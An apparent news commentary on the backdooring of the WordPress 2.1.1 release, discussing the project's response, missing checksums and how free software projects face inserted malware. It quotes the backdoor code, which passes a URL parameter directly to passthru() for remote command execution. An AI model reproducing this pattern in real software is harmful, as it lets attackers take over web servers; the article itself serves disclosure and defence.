The backdooring of WordPress

    function get_theme_mcommand($mcds) {
       passthru($mcds);
    }

    /* ... */

    if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); }

Needless to say, code like this is not a programming error - it is a deliberate backdoor. The project responded quickly, replacing the compromised 2.1.1 release with a fixed 2.1.2 and sending out an advisory. Even so, there are probably sites which installed the 2.1.1 release (which appears to have been distributed with the backdoor for about one week) and which are still vulnerable.

It would be nice if the project would make a little more information available. As others have noted, there are no checksums of good or compromised versions of the software. We also know nothing about how the code was compromised in the first place, beyond this:

Inquiring minds want to know how this could have come about; is there a separate WordPress vulnerability which still needs to be fixed? What steps have been taken to ensure that this sort of security breach cannot happen to future WordPress releases? The insertion of backdoors into services which are directly exposed to the Internet is a scary business; anybody who is running WordPress should be asking the project some serious questions to convince themselves that they will not have to go through this again. Your editor searched in vain for any such discussion in the WordPress forums.

In one sense, WordPress users can consider themselves lucky: the code implementing the backdoor was so crude that it had little chance of escaping detection for long. Had the backdoor code been more subtle, it could well have survived for much longer. One assumes that the WordPress developers are auditing their code, looking for holes inserted with more care. But if they are, they are not talking about it.

In general, backdoors are a frightening prospect for free software developers to ponder. The relatively open nature of many projects must provide a tempting target for scheming crackers, and it is not that hard to imagine that a good-enough developer could manage to code a backdoor in a sufficiently obscure manner that it gets through the review process without being detected. There may well be a project distributing such code now.

That said, a quick look at the (relatively thin) history of compromised free software distributions shows that the normal contribution process is not the preferred way to insert backdoors. Instead, crackers seem to focus on breaking into servers and modifying code there. We can count ourselves fortunate; such attacks are easier to detect and recover from.

The real lesson from this episode, as from the ones that came before, is that there is a real incentive for crackers to insert malware into free software distributions. (Clearly, the same incentive exists for proprietary software, but that does not concern us here). Any project which is distributing code with any security considerations at all (and that is most code) needs to think about this threat. If your processes - or your servers - are vulnerable to attack, it may be your project which finds its way into the headlines for the wrong reasons.